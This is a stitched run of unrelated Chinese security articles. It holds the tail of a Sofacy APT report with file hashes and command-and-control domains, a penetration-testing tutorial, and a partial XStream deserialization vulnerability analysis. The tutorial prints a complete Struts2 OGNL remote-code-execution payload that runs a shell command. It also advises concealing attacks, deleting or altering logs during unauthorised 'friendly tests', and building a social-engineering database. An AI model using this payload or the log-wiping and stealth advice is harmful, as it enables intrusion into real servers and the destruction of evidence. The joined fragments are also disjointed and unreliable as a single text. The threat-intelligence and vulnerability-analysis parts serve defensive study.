Banking、QIWI以及银行转账这几种支付方式。
## 八、总结
Sofacy是我们正在监控的最为活跃的APT组织之一，使用鱼叉式钓鱼攻击方法来攻击目标，广泛窃取各种凭据，并且很少与服务端联动（可以参考部署[BeEF](https://www.youtube.com/watch?v=yQ0zZ6Anb64&feature=youtu.be)的攻击活动）。根据KSN可见度及检测结果，我们发现在2017年初时，该团伙主要向NATO相关目标发起鱼叉式攻击，但后面将矛头调转到中东及中亚，并在2017年年末将攻击重心进一步东移。该团伙在安全性方面维持得不错。该团伙的攻击活动似乎已经分裂成多个子活动，比如GAMEFISH、Zebrocy以及SPLM等等。在Sofacy攻击活动中，攻击者也在持续不断地演化、改进SPLM/CHOPSTICK/XAgent代码。我们会在[SAS
2018](https://sas.kaspersky.com/)上介绍该团伙自2018年以来在目标选择方面最新的情况，也会对恶意软件本身进行介绍。
对于类似Sofacy之类的攻击团伙，一旦我们在网络上发现他们的活动轨迹，我们需要重新检查系统上的登录痕迹及异常的管理员访问痕迹，彻底扫描收到的附件并做沙箱化处理，在诸如电子邮件以及VPN服务上使用双因素认证。为了识别攻击活动，我们不仅可以从攻击态势报告中获取有价值的信息，也可以借助类似YARA之类的搜索工具获得强大的检测能力，当然，使用类似KATA之类的带外（out-of-band）处理解决方案同样非常重要。
## 九、附录
### MD5值
8f9f697aa6697acee70336f66f295837
1a4b9a6b321da199aa6d10180e889313
842454b48f5f800029946b1555fba7fc
d4a5d44184333442f5015699c2b8af28
1421419d1be31f1f9ea60e8ed87277db
b1d1a2c64474d2f6e7a5db71ccbafa31
953c7321c4959655fdd53302550ce02d
57601d717fcf358220340675f8d63c8a
02b79c468c38c4312429a499fa4f6c81
85cd38f9e2c9397a18013a8921841a04
f8e92d8b5488ea76c40601c8f1a08790
66b4fb539806ce27be184b6735584339
e8e1fcf757fe06be13bead43eaa1338c
953c7321c4959655fdd53302550ce02d
aa2aac4606405d61c7e53140d35d7671
85cd38f9e2c9397a18013a8921841a04
57601d717fcf358220340675f8d63c8a
16e1ca26bc66e30bfa52f8a08846613d
f8e92d8b5488ea76c40601c8f1a08790
b137c809e3bf11f2f5d867a6f4215f95
237e6dcbc6af50ef5f5211818522c463
88009adca35560810ec220544e4fb6aa
2163a33330ae5786d3e984db09b2d9d2
02b79c468c38c4312429a499fa4f6c81
842454b48f5f800029946b1555fba7fc
d4a5d44184333442f5015699c2b8af28
b88633376fbb144971dcb503f72fd192
8f9f697aa6697acee70336f66f295837
b6f77273cbde76896a36e32b0c0540e1
1a4b9a6b321da199aa6d10180e889313
1421419d1be31f1f9ea60e8ed87277db
1a4b9a6b321da199aa6d10180e889313
9b10685b774a783eabfecdb6119a8aa3
aa34fb2e5849bff4144a1c98a8158970
aced5525ba0d4f44ffd01c4db2730a34
b1d1a2c64474d2f6e7a5db71ccbafa31
b924ff83d9120d934bb49a7a2e3c4292
cdb58c2999eeda58a9d0c70f910d1195
d4a5d44184333442f5015699c2b8af28
d6f2bf2066e053e58fe8bcd39cb2e9ad
34dc9a69f33ba93e631cd5048d9f2624
1c6f8eba504f2f429abf362626545c79
139c9ac0776804714ebe8b8d35a04641
e228cd74103dc069663bb87d4f22d7d5
bed5bc0a8aae2662ea5d2484f80c1760
8c3f5f1fff999bc783062dd50357be79
5882a8dd4446abd137c05d2451b85fea
296c956fe429cedd1b64b78e66797122
82f06d7157dd28a75f1fbb47728aea25
9a975e0ddd32c0deef1318c485358b20
529424eae07677834a770aaa431e6c54
4cafde8fa7d9e67194d4edd4f2adb92b
f6b2ef4daf1b78802548d3e6d4de7ba7
ede5d82bb6775a9b1659dccb699fadcb
116d2fc1665ce7524826a624be0ded1c
20ff290b8393f006eaf4358f09f13e99
4b02dfdfd44df3c88b0ca8c2327843a4
c789ec7537e300411d523aef74407a5e
0b32e65caf653d77cab2a866ee2d9dbc
27faa10d1bec1a25f66e88645c695016
647edddf61954822ddb7ab3341f9a6c5
2f04b8eb993ca4a3d98607824a10acfb
9fe3a0fb3304d749aeed2c3e2e5787eb
62deab0e5d61d6bf9e0ba83d9e1d7e2b
86b607fe63c76b3d808f84969cb1a781
f62182cf0ab94b3c97b0261547dfc6cf
504182aaa5575bb38bf584839beb6d51
d79a21970cad03e22440ea66bd85931f
### 相关域名
nethostnet[.]com
hostsvcnet[.]com
etcrem[.]net
movieultimate[.]com
newfilmts[.]com
fastdataexchange[.]org
liveweatherview[.]com
analyticsbar[.]org
analyticstest[.]net
lifeofmentalservice[.]com
meteost[.]com
righttopregnantpower[.]com
kiteim[.]org
adobe-flash-updates[.]org
generalsecurityscan[.]com
globalresearching[.]org
lvueton[.]com
audiwheel[.]com
online-reggi[.]com
fsportal[.]net
netcorpscanprotect[.]com
mvband[.]net
mvtband[.]net
viters[.]org
treepastwillingmoment[.]com
sendmevideo[.]org
satellitedeluxpanorama[.]com
ppcodecs[.]com
encoder-info[.]tk
wmdmediacodecs[.]com
postlkwarn[.]com
shcserv[.]com
versiontask[.]com
webcdelivery[.]com
miropc[.]org
securityprotectingcorp[.]com
uniquecorpind[.]com
appexsrv[.]net
adobeupgradeflash[.]com | 社区文章 |
## 社工技术
* * *
社会工程学（Social
Engineering，又被翻译为：社交工程学）在上世纪60年代左右作为正式的学科出现，广义社会工程学的定义是：建立理论并通过利用自然的、社会的和制度上的途径来逐步地解决各种复杂的社会问题，经过多年的应用发展，社会工程学逐渐产生出了分支学科，如公安社会工程学（简称公安社工学）和网络社会工程学。
简单来说社会工程学就是对目标的信息搜集，当然不仅仅是搜集目标主动泄漏的信息，还要利用各种方式去获取目标的相关系统。
在渗透测试的过程中，社工技术会对整个渗透测试的方案和最终结果产生巨大的影响。
主要获取的信息（渗透测试中）包括：服务器信息，网站所有者信息，域名信息等。
* * *
* 利用工具（请参考红日第一课）
> 例：对红日实验室的简单社工
现在的网络环境对安全越来越重视，无疑加大了信息搜集的难度，在以后的学习道路上我们要收集搭建属于自己的社工库，比如说
在日后的课程中，我也会带着大家搭建这样的社工库并提供部分数据
这样的一个社工库，里面加入我们收集到的数据，并逐渐扩大我们的数据库内容，这样在以后的工作中会对你提供很大的帮助。
## 漏洞挖掘
* * *
经过信息的获取，我们可以定位到我们的目标信息，同时，可以把我渗透方法的范围缩小，可以开展针对性的测试了。
## 服务器方面
* * *
针对不同的服务器，我们会进行不同的测试，比如目标是一个linux的系统，我们基本就不会去看asp方面的漏洞了，只会对它有可能存在的漏洞进行测试，而服务器方面，我们也会发现不同的版本漏洞。在他的中间件等等。
* 实验方法：不同版本的服务器或其他终端+相对应溢出工具
## 溢出漏洞
* * *
* 漏洞原理：缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。
主要的原理是：通过在程序的地址空间里安排适当的代码。或适当的初始化寄存器和内存，让程序跳转到入侵者安排的地址空间执行。可以根据这两个目标来对缓冲区溢出攻击进行分类。
* 漏洞靶场：虚拟搭建的各类型服务器+提权工具
* 漏洞实战演练：在真实环境下获取webshell后实战操作
* 个人总结：溢出漏洞可以直接获取服务器的最高权限，危害巨大，但利用环境要求较高，不易利用成功。
## 应用方面
* * *
应用方面我们要讲的就会多一些了，虽然网站类型多变，各种语言层出不穷，但主要的漏洞就是那么几个。可以参考`owasp top
10`，我优先为大家介绍一下危害比较大的漏洞类型。
## 跨站脚本漏洞
* * *
* 漏洞原理：
* （1）持久型跨站：最直接的危害类型，跨站代码存储在服务器（数据库）。
* （2）非持久型跨站：反射型跨站脚本漏洞，最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
* （3）DOM跨站（DOM XSS）:DOM(document object model文档对象模型)，客户端脚本处理逻辑导致的安全问题。
* 漏洞靶场：
当我们访问这个页面时，我们的ＰＣ就在攻击者的beef中上线了
通过 beef，我们可以对上线的浏览器进行很多的后门操作比如最基本的弹窗：
* 漏洞实战演练：`[www.alliedjeep.com/87508.htm](http://www.alliedjeep.com/87508.htm)` `couponPHP CMS 1.0`跨站脚本漏洞
`couponPHP`是优惠劵和交易网站的内容管理系统。
`couponPHP CMS 1.0`版本没有正确过滤 `/admin/ajax/comments_paginate.php` 或
`/admin/ajax/stores_paginate.php`的 "sEcho" GET
参数值，在实现上存在多个跨站脚本漏洞，可导致在用户浏览器会话中执行任意HTML和脚本代码。
* 个人总结：以存储型跨站为例，我们在用户的页面输入的语句会存入到系统的数据库中，这样，当其他用户访问我们存入的信息时就造成了存储型跨站的攻击，图片为我定入的存储型跨站的利用是js。
## Sql注入漏洞
* * *
* 漏洞原理：SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。
* 漏洞靶场：在我们的靶场中我们会了解查询到底是怎么一回事，数据是怎么样传入的
上面两个图片，是数据以`get`及`post`方式发送的代码内容，我们的参数就是以这种形式发送的。而后台接收后的样子类似是这样的
`Select * from (xxx数据表) where what=(‘id’)`
`id`为你输入的参数，而`sql`注入就是在这个语句后面加入攻击者自己构造的语句，使数据库查询出我们想要的数据并给前台一定的提示。
并会在我们的靶场中进行攻击学习.
漏洞实战演练：`http://www.cnblogs.com/moqiang02/p/4061399.html`
* 个人总结：sql注入仍然是被利用最多的漏洞，他的危害程度和利用范围也是其他漏洞不可以比的，而且逐渐开始工具化，手工注入越来越少，虽然难度大的注入漏洞几乎只能用手工去做，但一点也不影响工具的推广和利用，比较常用的攻击工具sqlmap，可以实现大量的绕过和注入方法。当然，因为他的功能越来越强大，使用的方法也越来越复杂，有的注入点，有可能同样是用sqlmap，小白就注入不进去，可是有的老手就可以通过对语句和参数的修改注入成功。
当然有很多的注入点也需要自己手工去写一些脚本去进行测试，因为盲注这一形式的存在，给手工注入带来了巨大的麻烦，图片为我自己编写的盲注的小脚本，可以利用注入去暴力猜出用户的密码。
* POC框架
* 基于原生POC编写练习
* 基于框架POC编写练习
## 越权漏洞
* * *
* 漏洞原理：是指超越权限或权力范围的意思。越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。
* 漏洞靶场：针对网站的权限绕过，后期会带大家搭建相对环境学习
* 漏洞实战演练：`https://loudong.sjtu.edu.cn/show/CNVD-2017-04015` 齐博`CMS`整站系统`V7.0`存在越权访问漏洞
个人总结：对于越权漏洞的主要挖掘方法：
* 1. 测试越权一般得有俩号。
* 1. 对userid。orderid等等ID要敏感，一旦发现，就多测测。
* 1. 某些厂商喜欢用纯数字的MD5作为用户的cookie，多注意发现。
* 1. 多使用抓包工具，多分析数据包，多修改数据包。
* 1. 多站在开发的角度去分析网站哪儿存在越权。
* 1. 多看看别人的漏洞
越权漏洞属于逻辑漏洞，这样的漏洞，不是代码的硬性错误，网站可以说他没有sql注入漏洞，但他不可以说他没有逻辑漏洞，只是每个人的思考方向不同，测试方法和角度也不一样，发现的逻辑漏洞也就不会相同。
## 目录漏洞
* * *
* 漏洞原理：该漏洞旨在访问储存在Web根文件外的文件或者目录。主要分为以下两种
目录列表漏洞：用户访问网站目录地址时，能看到目录下所有文件列表，导致网站目录结构暴露，重要的敏感数据泄露。目录遍历漏洞：程序没有充分过滤用户输入的../之类的目录跳转符，导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个..符号，不断向上跳转，最终停留在根/，通过绝对路径去读取任意文件。
* 漏洞靶场：简单的网站框架就可以实现相应漏洞，在我们的靶场中会集成本漏洞
* 漏洞实战演练：`http://sec.sangfor.com.cn/vulns/236.html` `Pligg CMS 2.0.2` 目录遍历漏洞
* 个人总结：其实在目录漏洞需要配合其他的漏洞进行组合攻击，单独目录漏洞的危害性并不大，但他的可利用程度确很高，当存在其他的漏洞时，这个漏洞就可以帮助我们获取到更多的权限。
## 文件包含漏洞
* * *
* 漏洞原理：程序开发人员通常会把要重复使用的函数写到单个文件中，在使用某个函数时直接在文件里面调用此函数无需再次编写。
* 文件包含有两种：
本地文件包含配合本地的文件遍历漏洞，可以执行任意文件代码
* 远程文件包含 ：即加载远程文件，在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。配合本地的文件遍历漏洞，可以执行任意文件代码
* 漏洞靶场：靶场为jsp语言，会带领大家搭建相对应的文件包含环境，但不存在靶场中
* 漏洞实战演练：`[www.xuebuyuan.com/1062689.html](http://www.xuebuyuan.com/1062689.html)` `Phpcms 2007` 远程文件包含漏洞
* 个人总结：执行任意代码，包含恶意文件控制网站甚至控制服务器，这个漏洞的危害是巨大的，但他主要存在于ＰＨＰ的环境中。对环境的依赖程度也相对要高，确相对好整改，只要限制好目录的权限，这个漏洞可以造成的影响并不大。
## 命令执行漏洞
* * *
* 漏洞原理：用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
* 漏洞靶场：
* 漏洞实战演练：网上随处可见的`struts2`网站，只要是没有升级或打上补丁的，都会存在问题
* 个人总结：最常见的命令执行漏洞就是`struts2`漏洞了，当然，还有`weblogic`等等，今天主要给大家分享`struts2`的相关知识
`Struts2`是一个基于`MVC`设计模式的`Web`应用框架，它本质上相当于一个servlet，在MVC设计模式中，`Struts2`作为控制器`(Controller)`来建立模型与视图的数据交互。`Struts
2`是`Struts`的下一代产品，是在 `struts 1`和`WebWork`的技术基础上进行了合并的全新的`Struts
2`框架。其全新的`Struts 2`的体系结构与`Struts 1`的体系结构差别巨大。`Struts
2`以`WebWork`为核心，采用拦截器的机制来处理用户的请求，这样的设计也使得业务逻辑控制器能够与`ServletAPI`完全脱离开，所以`Struts
2`可以理解为`WebWork`的更新产品。虽然从`Struts 1`到`Struts 2`有着太大的变化，但是相对于`WebWork，Struts
2`的变化很小。
对应ＰＯＣ：
`["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"`
简单的利用方法
## 弱口令漏洞
* * *
* 漏洞原理：就是说由常用数字、字母、字符等组合成的，容易被别人通过简单及平常的思维方式就能猜到的密码，利用弱口令结合计算机系统等漏洞可以做到入侵的事半功倍的效果
主要的探测方法为测试验证码的功能，如果目标站的验证机制不完善，或存在逻辑漏洞，则可以利用该漏洞进行暴力破解攻击，结合社工的结果进行测试，如果用户存在弱口令漏洞，就会被攻击方加以利用，伪装成普通用户的权限进行登录，扩大攻击者的权限范畴，增加网站的风限程度
* 漏洞靶场：靶场的登录处就是这个漏洞
漏洞实战演练：本漏洞主要成因是人为的，需要手工去寻找。
* 个人总结：只要做好社工，基本上网站全是弱口令，这是某个大神说的。我觉的非常的有道理。希望大家各级去尝试。
## 文件上传漏洞
* * *
* 漏洞原理：在于代码作者没有对访客提交的数据进行检验或者过滤不严，可以直接提交修改过的数据绕过扩展名的检验。
* 漏洞靶场：
* 漏洞实战演练：`https://www.lvtao.net/shell/phpcms-upload-webshell.html` `phpcms`前台头像上传漏洞导致`webshell`详解及案例
* 个人总结：这个漏洞被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。
主要是上传木马文件及反弹工具等，在网络上现在也存在这各种防护方法，具体的绕过我们就不讲了，主要分享一下，上传的东西，与方法。
上传`webshell`，按语言主要分为三种`php,asp,jsp`其他衍生的类型不计其数，但核心仍是这三种，主要目的就是通过`webshell`，对网站进行控制。
## 漏洞利用
* * *
* 目的：我们整个攻击行为的目的，比如获取flag,目标服务器权限等等，根据我们不同的目的，我们要做出不同的针对性的攻击，可以大大节省我的时间和资源。
隐藏：在攻击的过程中，我们要学会隐藏自己，把我们的攻击行为隐藏起来，这样我们就可以保证我们在攻击的过程中不会被发现，导致我们的攻击过程被强行中断，减少不必要的工作量。
* 特定场景的针对测试：每一个目标的环境就行人一样，都是维一的，没有一模一样的环境，所以我们要针对不同的环境去做不同的攻击，减少没必要的行为。
## 权限提升
* * *
当我们拿到webshell后，我们要做的就是权限提升了，我们真正开接触到我们的目标了现在。
* 内部信息收集：
* 根据我们的目标，我们要开始收拾信息，网站的基本信息，管理者的行为信息，目标的内部环境等，我们有了一个跳板就要把我们可以拿到的点都拿到手中，这样才可以保证我们的目的达成。
* 系统漏洞利用：
* 我们的主要方法是溢出漏洞，当然也存在其他的提权方法，但在这节课中不涉及那些高级的应用了。在溢出漏洞中，我们首先要通过我们收集到的信息来确定我们可以利用的漏洞有可能有那些，如果运气好，我们的漏洞有可以利用的那直接利用已有的角本，我们可以直接拿到服务器的权限了，如果不能，那就要去一点点的测试，看看这个系统上安装了什么软件，然后去寻找一个可以让我们利用的溢出点，能过编写这个脚本来进行提权。比较常见的提权脚本有：
当然，还有很多很多，我就不一一展示了，还有一部分要涉及到密码的寻找，如果，我们没有办法溢出，那我们就要想办法找到高级管理员的密码，来登录到高权限的帐户上去
## 后门
* * *
### 网页后门
网页后门其实就是一段网页代码，主要以ASP和PHP代码为主。由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在服务器端进行某些危险的操作，获得某些敏感的技术信息或者通过渗透，提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道，比一般的入侵更具有隐蔽性。
### 网页挂马
网页挂马就是攻击者通过在正常的页面中（通常是网站的主页）插入一段代码。浏览者在打开该页面的时候，这段代码被执行，然后下载并运行某木马的服务器端程序，进而控制浏览者的主机。
这是主要的两种后门情况，一个好的后门要保证自身不被发现，不被安全软件识别并杀死，可以进行实时的更新。
## 日志清扫
* * *
完成一次完整形的渗透测试，最后一步，是对日志的处理，当我们有客户授权的情况下，这一步并不重要，但当你是自己做一些友情测试里，这一步就是最重要的一步，你要通过对日志的处理来更好的保护自己，删除敏感日志，或修改日志内容，并备份真实日志。
## 经验总结
* * *
整个测试结束，我们要对我们的思路和过程做一个完整的总结，保证下次我们遇到类似的环境时，可以直接利用我们已经有的东西，并在自身的团队中交流经验，总结这次工作中的不足，这是进步最好的方法。 | 社区文章 |
**作者：深信服千里目实验室
原文链接：<https://mp.weixin.qq.com/s/WtT0o2ygGGQek3wvIulfiQ>**
## 1\. 组件介绍
XStream是Java类库，用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索，并不需要对对象作出修改。XStream可以序列化内部字段，包括私private和final字段，并且支持非公开类以及内部类。在缺省情况下，XStream不需要配置映射关系，对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时，XStream支持指定别名。XStream支持以方法调用的方式，或是Java标注的方式指定别名。XStream在进行数据类型转换时，使用系统缺省的类型转换器。同时，也支持用户自定义的类型转换器。
XStream类图：
## 2\. 高危漏洞介绍
漏洞名称 | 漏洞ID | 影响版本 | CVSS
---|---|---|---
XStream 远程代码执行漏洞 | CVE-2013-7285 | XStream <= 1.4.6 | 9.8
XStream 远程代码执行漏洞 | CVE-2019-10173 | XStream < 1.4.10 | 9.8
XStream 远程代码执行漏洞 | CVE-2020-26217 | XStream <= 1.4.13 | 8.0
XStream 外部实体注入漏洞 | CVE-2016-3674 | XStream <= 1.4.8 | 7.5
XStream 拒绝服务攻击 | CVE-2017-7957 | XStream <= 1.4.9 | 7.5
XStream组件漏洞主要是java反序列化造成的远程代码执行漏洞，目前官方通过黑名单的方式对java反序列化攻击进行防御，由于黑名单防御机制存在被绕过的风险，因此以后可能会再次出现类似上述java反序列化漏洞。
## 3\. 漏洞利用链
### 3.1 组件风险梳理
根据XStream组件的漏洞，结合XStream常用的使用场景，得到如下风险梳理的场景图。
### 3.2 利用链总结
基于风险梳理思维导图，总结出一种漏洞的利用场景。
#### 3.2.1 无权限 -> GetShell
XStream远程代码执行漏洞单独使用，即可完成GetShell。一般情况，如果一个Web应用中使用了受漏洞影响版本的XStream，都会受XStream本身的漏洞影响。除此之外，由于XStream是将XML格式数据反序列化成对象。因此如果Web应用还引入了其他的在反序列化过程中容易出现安全问题的依赖，也会出现反序列化漏洞。
## 4\. 高可利用漏洞分析
从高危漏洞列表中，针对部分近年高可利用漏洞进行漏洞深入分析。
**技术背景**
**java动态代理**
Java标准库提供了一种 **动态代理（Dynamic Proxy）** 的机制：可以在运行期动态创建某个interface的实例。
**例子：**
我们先定义了接口Hello，但是我们并不去编写实现类，而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式，我们称为动态代码。JDK提供的动态创建接口对象的方式，就叫动态代理。
package test3_proxyclass;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}
interface Hello {
void morning(String name);
}
java动态代理机制中有两个重要的类和接口InvocationHandler（接口）和Proxy（类），这一个类Proxy和接口InvocationHandler是我们实现动态代理的核心；
**InvocationHandler接口:**
proxy代理实例的调用处理程序实现的一个接口，每一个proxy代理实例都有一个关联的调用处理程序；在代理实例调用方法时，方法调用被编码分派到调用处理程序的invoke方法。
**newProxyInstance:** 创建一个代理类对象，它接收三个参数，我们来看下几个参数的含义：
loader：一个classloader对象，定义了由哪个classloader对象对生成的代理类进行加载
interfaces：一个interface对象数组，表示我们将要给我们的代理对象提供一组什么样的接口，如果我们提供了这样一个接口对象数组，那么也就是声明了代理类实现了这些接口，代理类就可以调用接口中声明的所有方法。
h：一个InvocationHandler对象，表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上，并最终由其调用。
**getInvocationHandler：** 返回指定代理实例的调用处理程序
**getProxyClass：** 给定类加载器和接口数组的代理类的java.lang.Class对象。
**isProxyClass：**
当且仅当使用getProxyClass方法或newProxyInstance方法将指定的类动态生成为代理类时，才返回true。
**newProxyInstance：** 返回指定接口的代理类的实例，该接口将方法调用分派给指定的调用处理程序。
#### 4.1 XStream 远程代码执行漏洞
**1 漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：XStream Remote Code Execution Vulnerability
* 漏洞编号：CVE-2013-7285
* 漏洞类型：Remote Code Execution
* CVSS评分：CVSS v2.0：7.5 ， CVSS v3.0：9.8
* 漏洞危害等级：高危
**1.2 漏洞概述**
包含类型信息的流在`unmarshalling`时，会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据，将恶意命令注入在在可以执行任意shell命令的对象中，实现漏洞的利用。
**1.3 漏洞利用条件**
* 无
**1.4 漏洞影响**
影响版本：
XStream <= 1.4.6
**1.5 漏洞修复**
获取XStream最新版本，下载链接：<https://x-stream.github.io/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 环境搭建**
基于Windows平台，使用`环境`目录下的`xstreamdemo`环境，拷贝后使用Idea打开`xstreamdemo`文件夹，下载maven资源，运行DemoApplication类，即可启动环境。效果如图。
**2.4 漏洞复现**
运行`sniper`工具箱，填写表单信息，点击Attack，效果如图。
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 代码分析**
传入的payload首先会在`com.thoughtworks.xstream.XStream`的`fromXML()`方法中处理，在进入`unmarshal()`方法中进行解集。
在`com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy`类中的`unmarshal()`方法中调用`start()`方法进行Java对象转换。
在`com.thoughtworks.xstream.core.TreeUnmarshaller`类中的`start()`方法通过调用`readClassType()`获取`type`类型。
在`readClassType()`方法中调用`readClassAttribute`方法。
进入`readClassAttribute`方法调用`aliasForSystemAttribute`方法获取别名。调用`getAttribute`方法，获取reader对象中记录的外部传入XML数据中是否存在对应的标签，如果不存在则返回null。
回到`HierarchicalStreams#readClassType`方法中调用`realClass`方法，通过别名在wrapped对象中的Mapper中循环查找，获取与别名对应的类。
找到`sorted-set`别名对应的`java.util.SortedSet`类，并将类存入realClassCache对象中。
回到`TreeUnmarshaller#start`方法，调用`convertAnother`方法。进入`convertAnother`方法后，调用`defaultImplementationOf`方法，在mapper对象中寻找java.util.SortedSet接口类的实现类`java.util.TreeSet`。
获取`java.util.TreeSet`类型，调用`lookupConverterForType`方法，寻找对应类型的转换器。进入`lookupConverterForType`方法，循环获取转换器列表中的转换器，调用转换器类中的`canConvert`方法判断选出的转换器是否可以对传入的type类型进行转换。
转换器`TreeSetConverter`父类`CollectionConverter`中`canConvert`方法判断，传入的type与`java.util.TreeMap`相同，返回true，表示可以使用`TreeSetConverter`转换器进行转换。
回到`DefaultConverterLookup#lookupConverterForType`方法，将选取的converter与对应的type存入typeToConverterMap。
回到`TreeUnmarshaller#convertAnother`方法中，调用`this.convert`方法。
首先判断传入的xml数据中是否存在reference标签，如果不存在，则将当前标签压入parentStack栈中，并调用父类的`convert`方法。
进入`convert`方法中，调用转换器中的`unmarshal`方法，对传入的xml数据继续解组。
首先调用`unmarshalComparator`方法判断是否存在comparator，如果不存在，则返回NullComparator对象。
根据unmarshalledComparator对象状态，为possibleResult对象赋予TreeSet类型对象。
由于possibleResult是一个空的TreeMap，因此最终treeMap也是一个空对象，从而调用`treeMapConverter.populateTreeMap`方法。
进入`populateTreeMap`方法中，首先调用调用`putCurrentEntryIntoMap`方法解析第一个标签，再调用`populateMap`方法处理之后的标签（此流程中二级标签只存在一个，因此在处理二级标签时暂不进入populateMap方法）。
具体调用流程如下，`com.thoughtworks.xstream.converters.collections.TreeSetConverter`类中调用`putCurrentEntryIntoMap`方法
->
`com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem()`
中的 `readClassType()`方法获取传入xml数据中标签名（别名）对应的类（与本节中获取sorted-set对应类的流程相同）。本次获取的是dynamic-proxy对应的`java.lang.reflect.Proxy.DynamicProxyMapper`类型，并将别名与类型作为键值对，存入realClassCache中。
回到`AbstractCollectionConverter.readItem()`方法中，调用`convertAnother`方法，寻找`DynamicProxyMapper`对应的convert，获取到`DynamicProxyConverter`转换器。
得到`com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy`，按照之前获取转换器之后的流程，调用转换器中的`unmarshal()`方法获取`interface`元素，得到`java.lang.Comparable`，并添加到mapper中。
在通过循环查询，继续查找下面的节点元素，进而获得了`handler java.beans.EventHandler`。
调用`Proxy.newProxyInstance`方法创建动态代理，实现java.lang.Comparable接口。
调用`convertAnother`方法获取传入type的转换器，`java.beans.EventHandler`对应的convert是`ReflectionConverter`。并将父类及其对象写进HashMap中
在`com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()`方法获取下面的节点元素`target
java.lang.ProcessBuilder`。
具体流程如下：调用`getFieldOrNull`方法，判断xml格式中传入的标签名在目标类中是否存在对应属性。
在调用`reader.getNodeName()`方法获取标签名，并赋值给originalNodeName。
调用`realMember`方法获取反序列化属性的名称。
调用`readClassAttribute`方法获取target标签中传入的类名
调用`realClass`获取上述过程中类名对应的类，并调用`unmarshallField`方法进行解析。
进入方法中，寻找对应type的转换器，由于是java.beans.EventHandler作为动态代理的实现类，所以选择的转化器都是`ReflectionConverter`
。使用选中的转换器进行解组。
使用`ReflectionConverter` convert处理`java.lang.ProcessBuilder`
，在`duUnmarshal()`方法获取`command`标签和comand标签下的String标签及其参数。（其中String标签下的参数是在下一层convert调用中获取的。）
调用`this.reflectionProvider.writeField`方法，将参数值传入对象中。
在按照获取target标签相同的流程获取action标签，最终将start方法存入对象中。
回到`TreeMapConverter#populateTreeMap`方法中，上述过程中构造的object保存在sortedMap中。且其中的动态代理实现的接口是`java.lang.Comparable`，因此只要调用`java.lang.Comparable`接口中的`compareTo`方法，即可触发动态代理，进入`java.beans.EventHandler`实现类中的`invoke`方法。在`populateTreeMap`方法中调用`putAll`方法，将sortedMap中的对象写入result变量的过程中会调用到`compareTo`，调用链如下。
进入`java.beans.EventHandler#invoke`方法中，通过反射执行对象中的方法。
**3.1.2补丁分析**
XStream1.4.7版本中，在`com.thoughtworks.xstream.converters.reflection.ReflectionConverter`添加`type
!=
eventHandlerType`阻止`ReflectionConverter`解析`java.beans.EventHandler`类。从而防御了此漏洞。
#### 4.2 XStream 远程代码执行漏洞
**1.漏洞信息**
**1.1 漏洞简介**
